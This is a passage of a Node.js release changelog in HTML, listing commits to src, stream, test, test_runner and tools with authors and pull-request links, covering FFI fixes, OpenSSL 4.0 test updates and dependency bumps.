<li>[<a href="https://github.com/nodejs/node/commit/6386914b4b"><code>6386914b4b</code></a>] - <strong>src</strong>: decouple KeyObject and CryptoKey and move CryptoKey to src (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62924" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62924/hovercard">#62924</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2dc1d205ee"><code>2dc1d205ee</code></a>] - <strong>src</strong>: replace uses of deprecated v8::External APIs (gahaas) <a href="https://github.com/nodejs/node/pull/61898" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61898/hovercard">#61898</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cb33a794a5"><code>cb33a794a5</code></a>] - <strong>src</strong>: remove license headers for new node_profiling files (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/63066" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63066/hovercard">#63066</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/59860eb798"><code>59860eb798</code></a>] - <strong>src</strong>: swap dotenv and config file parsing order (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/63035" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63035/hovercard">#63035</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fda439cb58"><code>fda439cb58</code></a>] - <strong>src</strong>: use <code>unique_ptr</code> for ffi memory management (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/63071" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63071/hovercard">#63071</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/56917afc57"><code>56917afc57</code></a>] - <strong>src</strong>: split profiling helpers from util (Ilyas Shabi) <a href="https://github.com/nodejs/node/pull/63008" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63008/hovercard">#63008</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fca56a409d"><code>fca56a409d</code></a>] - <strong>src</strong>: add missing &lt;cstdlib&gt; for abort() declaration (Charles Kerr) <a href="https://github.com/nodejs/node/pull/63001" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63001/hovercard">#63001</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d49c89e915"><code>d49c89e915</code></a>] - <strong>src</strong>: make node.config.json throw at unknown fields (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/62992" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62992/hovercard">#62992</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e89c8e9b68"><code>e89c8e9b68</code></a>] - <strong>src</strong>: fix crash in GetErrorSource() for invalid using syntax (semimikoh) <a href="https://github.com/nodejs/node/pull/62770" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62770/hovercard">#62770</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d89f719ce0"><code>d89f719ce0</code></a>] - <strong>src</strong>: remove outdated comments in contextify (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62932" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62932/hovercard">#62932</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5117a3e52b"><code>5117a3e52b</code></a>] - <strong>src</strong>: simplify <code>TCPWrap::Connect</code> signature (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62929" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62929/hovercard">#62929</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/41bd288ec7"><code>41bd288ec7</code></a>] - <strong>src</strong>: align FFI error handling with Node.js source (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62858" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62858/hovercard">#62858</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/faaccfb9df"><code>faaccfb9df</code></a>] - <strong>src</strong>: simplify and fix FFI ArrayBuffer accesses (Anna Henningsen) <a href="https://github.com/nodejs/node/pull/62857" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62857/hovercard">#62857</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/43bf39c350"><code>43bf39c350</code></a>] - <strong>src</strong>: use DCHECK in AsyncWrap::MakeCallback instead emiting a warning (Gerhard Stöbich) <a href="https://github.com/nodejs/node/pull/62795" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62795/hovercard">#62795</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/da52b09859"><code>da52b09859</code></a>] - <strong>src</strong>: fix MaybeStackBuffer char_traits deprecation warning (om-ghante) <a href="https://github.com/nodejs/node/pull/62507" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62507/hovercard">#62507</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2b12bca317"><code>2b12bca317</code></a>] - <strong>src</strong>: use context-free V8 message column getters (René) <a href="https://github.com/nodejs/node/pull/62778" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62778/hovercard">#62778</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7efc2ce7b3"><code>7efc2ce7b3</code></a>] - <strong>src</strong>: clean up experimental flag variables (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62759" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62759/hovercard">#62759</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8273682c87"><code>8273682c87</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>src</strong>: allow empty --experimental-config-file (Marco Ippolito) <a href="https://github.com/nodejs/node/pull/61610" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61610/hovercard">#61610</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b844c24395"><code>b844c24395</code></a>] - <strong>src</strong>: coerce <code>spawnSync</code> args to string once (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62633" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62633/hovercard">#62633</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/28679d76c4"><code>28679d76c4</code></a>] - <strong>src</strong>: use stack allocation for small string encoding (Ali Hassan) <a href="https://github.com/nodejs/node/pull/62431" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62431/hovercard">#62431</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/144ef93735"><code>144ef93735</code></a>] - <strong>src</strong>: add contextify interceptor debug logs (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62460" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62460/hovercard">#62460</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d34cfb512e"><code>d34cfb512e</code></a>] - <strong>stream</strong>: remove redundant method check from iter.pipeToSync (René) <a href="https://github.com/nodejs/node/pull/63099" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63099/hovercard">#63099</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a95830b72a"><code>a95830b72a</code></a>] - <strong>stream</strong>: copyedit <code>webstreams/adapter.js</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63034" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63034/hovercard">#63034</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4bf3e1e084"><code>4bf3e1e084</code></a>] - <strong>stream</strong>: remove duplicated utility (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63031" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63031/hovercard">#63031</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/214a8c197b"><code>214a8c197b</code></a>] - <strong>stream</strong>: simplify <code>setPromiseHandled</code> utility (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63032" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63032/hovercard">#63032</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c12a767ff2"><code>c12a767ff2</code></a>] - <strong>stream</strong>: validate ReadableStream.from iterator objects (Daeyeon Jeong) <a href="https://github.com/nodejs/node/pull/62911" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62911/hovercard">#62911</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b09953d2d4"><code>b09953d2d4</code></a>] - <strong>stream</strong>: reject duplicate nested transferables (Daeyeon Jeong) <a href="https://github.com/nodejs/node/pull/62831" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62831/hovercard">#62831</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b9929622f3"><code>b9929622f3</code></a>] - <strong>stream</strong>: ensuring cross-destruction in _duplexify to prevent leaks (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62824" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62824/hovercard">#62824</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c51a39b3ec"><code>c51a39b3ec</code></a>] - <strong>stream</strong>: simplify <code>readableStreamFromIterable</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62651" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62651/hovercard">#62651</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/36078574b9"><code>36078574b9</code></a>] - <strong>stream</strong>: fix nested compose error propagation (Matteo Collina) <a href="https://github.com/nodejs/node/pull/62556" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62556/hovercard">#62556</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e1928cd481"><code>e1928cd481</code></a>] - <strong>stream</strong>: allow shared array buffer sources in writable webstream adapter (René) <a href="https://github.com/nodejs/node/pull/62163" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62163/hovercard">#62163</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/450e0519d9"><code>450e0519d9</code></a>] - <strong>stream</strong>: simplify <code>createPromiseCallback</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62650/hovercard">#62650</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/57e59ea070"><code>57e59ea070</code></a>] - <strong>stream</strong>: fix writev unhandled rejection in fromWeb (sangwook) <a href="https://github.com/nodejs/node/pull/62297" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62297/hovercard">#62297</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/958373413c"><code>958373413c</code></a>] - <strong>stream</strong>: noop pause/resume on destroyed streams (Robert Nagy) <a href="https://github.com/nodejs/node/pull/62557" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62557/hovercard">#62557</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ee38d2c43d"><code>ee38d2c43d</code></a>] - <strong>stream</strong>: refactor duplexify to be less suceptible to prototype pollution (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62559" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62559/hovercard">#62559</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fbff28f7e6"><code>fbff28f7e6</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>stream</strong>: propagate destruction in duplexPair (Ahmed Elhor) <a href="https://github.com/nodejs/node/pull/61098" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61098/hovercard">#61098</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d7317f4f90"><code>d7317f4f90</code></a>] - <strong>stream</strong>: add stream/iter to classic stream adapters (James M Snell) <a href="https://github.com/nodejs/node/pull/62469" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62469/hovercard">#62469</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/55298c443f"><code>55298c443f</code></a>] - <strong>test</strong>: accept OpenSSL 4 generic internal error for DH key-type mismatches (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/96581bccc7"><code>96581bccc7</code></a>] - <strong>test</strong>: update WPT for url to 258f285de0 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63087" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63087/hovercard">#63087</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c73aba07fb"><code>c73aba07fb</code></a>] - <strong>test</strong>: run Temporal presence checks without V8 flag (René) <a href="https://github.com/nodejs/node/pull/63028" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63028/hovercard">#63028</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9c94dce55b"><code>9c94dce55b</code></a>] - <strong>test</strong>: export isRiscv64 from common module (Jamie Magee) <a href="https://github.com/nodejs/node/pull/62609" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62609/hovercard">#62609</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/33c5f7fdbf"><code>33c5f7fdbf</code></a>] - <strong>test</strong>: normalize known inspector crash as completion (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62851" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62851/hovercard">#62851</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/8146a97bc3"><code>8146a97bc3</code></a>] - <strong>test</strong>: update WPT for streams to f8f26a372f (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62864" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62864/hovercard">#62864</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7c77c301c9"><code>7c77c301c9</code></a>] - <strong>test</strong>: account for RFC 7919 FFDHE negotiation in OpenSSL 4.0 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9bf7604eb6"><code>9bf7604eb6</code></a>] - <strong>test</strong>: skip tls-deprecated secp256k1 on OpenSSL 4.0 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d173604b53"><code>d173604b53</code></a>] - <strong>test</strong>: use an always invalid cipher and cover OpenSSL 4.0 behaviours (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/72f52163b4"><code>72f52163b4</code></a>] - <strong>test</strong>: use valid DER OCSP responses (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e242394ad9"><code>e242394ad9</code></a>] - <strong>test</strong>: skip test-tls-error-stack when engines are unsupported (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9bff52ebf8"><code>9bff52ebf8</code></a>] - <strong>test</strong>: accept renamed OpenSSL 4.0 error code and reason (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d9b8cc1b68"><code>d9b8cc1b68</code></a>] - <strong>test</strong>: update test/addons/openssl-binding for OpenSSL 4.0 (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62805" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62805/hovercard">#62805</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/960fb16287"><code>960fb16287</code></a>] - <strong>test</strong>: mark test-snapshot-reproducible flaky (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62808" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62808/hovercard">#62808</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a12dd58cf"><code>7a12dd58cf</code></a>] - <strong>test</strong>: check contextify contextual store behavior in strict mode (René) <a href="https://github.com/nodejs/node/pull/62571" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62571/hovercard">#62571</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/c73c8e603f"><code>c73c8e603f</code></a>] - <strong>test</strong>: skip <code>test-temporal-with-zoneinfo</code> on system-icu builds (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62754" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62754/hovercard">#62754</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/48a3ca303e"><code>48a3ca303e</code></a>] - <strong>test</strong>: generate <code>localstorage.db</code> in a temp dir (Chengzhong Wu) <a href="https://github.com/nodejs/node/pull/62660" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62660/hovercard">#62660</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/1a41c2c5db"><code>1a41c2c5db</code></a>] - <strong>test</strong>: update tls junk data error expectations (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62629" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62629/hovercard">#62629</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/115e8c2052"><code>115e8c2052</code></a>] - <strong>test</strong>: ensure WPT report is in out/wpt (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62637" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62637/hovercard">#62637</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cb07b918bd"><code>cb07b918bd</code></a>] - <strong>test</strong>: improve WPT runner summary (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62636" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62636/hovercard">#62636</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7f48438380"><code>7f48438380</code></a>] - <strong>test</strong>: skip url WPT subtests instead of modifying test script (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62635" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62635/hovercard">#62635</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4097fb95d7"><code>4097fb95d7</code></a>] - <strong>test</strong>: capture negative utimes mtime at call time (Yuya Inoue) <a href="https://github.com/nodejs/node/pull/62490" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62490/hovercard">#62490</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/e29f46df81"><code>e29f46df81</code></a>] - <strong>test</strong>: allow skipping individual WPT subtests (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62517" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62517/hovercard">#62517</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d546886c3"><code>4d546886c3</code></a>] - <strong>test</strong>: use on-disk fixture for test-npm-install (Joyee Cheung) <a href="https://github.com/nodejs/node/pull/62584" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62584/hovercard">#62584</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/5b35eb02ec"><code>5b35eb02ec</code></a>] - <strong>test</strong>: update WPT for url to 7a3645b79a (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62591" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62591/hovercard">#62591</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/7a8610835d"><code>7a8610835d</code></a>] - <strong>test_runner</strong>: fix failing suite hooks when marked with <code>todo</code> (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/63097" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63097/hovercard">#63097</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a8c773a0c7"><code>a8c773a0c7</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: align mock timeout api (sangwook) <a href="https://github.com/nodejs/node/pull/62820" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62820/hovercard">#62820</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/dc0d757c8a"><code>dc0d757c8a</code></a>] - <strong>test_runner</strong>: fix suite rerun edge case (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62860" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62860/hovercard">#62860</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b883a5eaea"><code>b883a5eaea</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: add mock-timers support for AbortSignal.timeout (DeveloperViraj) <a href="https://github.com/nodejs/node/pull/60751" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/60751/hovercard">#60751</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/6fa62b7d58"><code>6fa62b7d58</code></a>] - <strong>test_runner</strong>: add <code>testId</code> to test events (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62772" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62772/hovercard">#62772</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/39e08340ff"><code>39e08340ff</code></a>] - <strong>test_runner</strong>: publish to TracingChannel for OTel instrumentation (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62502" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62502/hovercard">#62502</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a21ae1771e"><code>a21ae1771e</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>test_runner</strong>: support test order randomization (Pietro Marchini) <a href="https://github.com/nodejs/node/pull/61747" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/61747/hovercard">#61747</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cf0edeb65d"><code>cf0edeb65d</code></a>] - <strong>test_runner</strong>: add passed, attempt, and diagnostic to SuiteContext (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62504" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62504/hovercard">#62504</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/644e2399d6"><code>644e2399d6</code></a>] - <strong>test_runner</strong>: add <code>getTestContext()</code> (Moshe Atlow) <a href="https://github.com/nodejs/node/pull/62501" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62501/hovercard">#62501</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/480d538830"><code>480d538830</code></a>] - <strong>tools</strong>: use <code>npm ci</code> in Undici update script (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63098" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63098/hovercard">#63098</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/9afb013edd"><code>9afb013edd</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to c6d65881c5624c9cae5ea6cedef24699b0c (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63091" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63091/hovercard">#63091</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b9f2f5a90a"><code>b9f2f5a90a</code></a>] - <strong>tools</strong>: bump postcss from 8.5.8 to 8.5.10 in /tools/doc (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62966" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62966/hovercard">#62966</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/09e4f4caca"><code>09e4f4caca</code></a>] - <strong>tools</strong>: use LTS Node.js in notify-on-push workflow (Nenad Spasenic) <a href="https://github.com/nodejs/node/pull/63084" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63084/hovercard">#63084</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/2af4c89774"><code>2af4c89774</code></a>] - <strong>tools</strong>: implements a few nits on <code>build-aarch64-linux-v8</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63048" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63048/hovercard">#63048</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cf9c1849ca"><code>cf9c1849ca</code></a>] - <strong>tools</strong>: update gr2m/create-or-update-pull-request-action to v1.10.1 (Mike McCready) <a href="https://github.com/nodejs/node/pull/63065" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63065/hovercard">#63065</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/96370a57ed"><code>96370a57ed</code></a>] - <strong>tools</strong>: simplify <code>update-undici.sh</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63044" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63044/hovercard">#63044</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b90486edd8"><code>b90486edd8</code></a>] - <strong>tools</strong>: do not run <code>test-linux</code> on unrelated tools changes (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63037" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63037/hovercard">#63037</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ac49e7c9fc"><code>ac49e7c9fc</code></a>] - <strong>tools</strong>: migrate from <code>openssl-matrix.json</code> to <code>openssl-matrix.nix</code> (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/63036" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63036/hovercard">#63036</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/a9df3e37fd"><code>a9df3e37fd</code></a>] - <strong>tools</strong>: update labels for nixpkgs pin bumps (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62994" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62994/hovercard">#62994</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/cee0154af8"><code>cee0154af8</code></a>] - <strong>tools</strong>: reuse V8 builds even without Cachix on test-shared (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62980" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62980/hovercard">#62980</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/78c183da6b"><code>78c183da6b</code></a>] - <strong>tools</strong>: do not include HTML docs in slim tarball (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62989" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62989/hovercard">#62989</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/04ce9df084"><code>04ce9df084</code></a>] - <strong>tools</strong>: bump the eslint group in /tools/eslint with 4 updates (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62848" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62848/hovercard">#62848</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4d2952c00a"><code>4d2952c00a</code></a>] - <strong>tools</strong>: update nixpkgs-unstable to 01fbdeef22b76df85ea168fbfe1bfd9e636 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62963" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62963/hovercard">#62963</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/555ad12f27"><code>555ad12f27</code></a>] - <strong>tools</strong>: update gyp-next to 0.22.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/62961" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62961/hovercard">#62961</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/f92cbc2c81"><code>f92cbc2c81</code></a>] - <strong>tools</strong>: fix commit linter for semver-major release proposals (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62993" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62993/hovercard">#62993</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/3b5bb4d758"><code>3b5bb4d758</code></a>] - <strong>tools</strong>: consolidate and simplify .editorconfig deps section (Daijiro Wachi) <a href="https://github.com/nodejs/node/pull/62887" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62887/hovercard">#62887</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/027bef4f3e"><code>027bef4f3e</code></a>] - <strong>tools</strong>: add non-default OpenSSL versions to the test-shared workflow (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62862" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62862/hovercard">#62862</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/fdcd7752de"><code>fdcd7752de</code></a>] - <strong>tools</strong>: set bot as author of tools-deps-update PRs (Antoine du Hamel) <a href="https://github.com/nodejs/node/pull/62856" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62856/hovercard">#62856</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ab7be6d987"><code>ab7be6d987</code></a>] - <strong>tools</strong>: bump brace-expansion from 5.0.4 to 5.0.5 in /tools/eslint (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62458" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62458/hovercard">#62458</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/82281ffd59"><code>82281ffd59</code></a>] - <strong>tools</strong>: bump brace-expansion in /tools/clang-format (dependabot[bot]) <a href="https://github.com/nodejs/node/pull/62467" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62467/hovercard">#62467</a></li>
